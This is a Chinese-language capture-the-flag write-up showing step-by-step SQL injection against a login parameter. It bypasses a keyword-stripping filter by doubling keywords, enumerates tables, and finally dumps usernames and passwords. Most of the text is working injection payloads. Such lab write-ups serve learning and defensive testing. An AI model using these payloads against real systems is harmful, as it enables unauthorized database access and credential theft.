尝试:
?username=admin&password=1' or 1=1#
?username=admin&password=1' and 1=6#
仔细看报错信息的最后1=1 和1=6
。我们可以怀疑and和or是被替换成空
了
尝试双写:
?username=admin&password=pwd' anandd 1=6#
页面不报错了,显示正常的输入错误信息,由此的知是有关键词被替换成空的,可能是利用了replace
函数
继续测试union 、select 、 information
等等这样的关键词
?username=admin&password=pwd' union select 1,2#
?username=admin&password=pwd' union selecselectt 1,2#
发现select也是被过滤的,双写即可…
?username=admin&password=pwd' uniounionn selecselectt 1,2#
发现回显不一样了,提示列不一致,说明了union
也是被过滤
?username=admin&password=pwd' uniounionn selecselectt 1,2,3#
发现正常回显,说明有select了三列,但第二三个位置才有回显
pwd' uniounionn seselectlect 1,2,group_concat(table_name) frofromm information_schema.tables where table_schema=database() #
发现where也被过滤了,那么双写,同时可以猜到from
也要双写
pwd' uniounionn seselectlect 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables wherwheree table_schema=database() #
注意这里的information
要写作infoorrmation
才行
…
最终:
pwd' uniounionn seselectlect 1,2,group_concat(id,username,passwoorrd) frofromm b4bsql #
需要group_concat()
将所有结果汇聚到一个显示占位,因为有可能显示是不会显示全部的
总结:
这题主要是将关键词替换成空的问题,双写是解决办法
同时, 检测过滤内容才是整道题最为关键的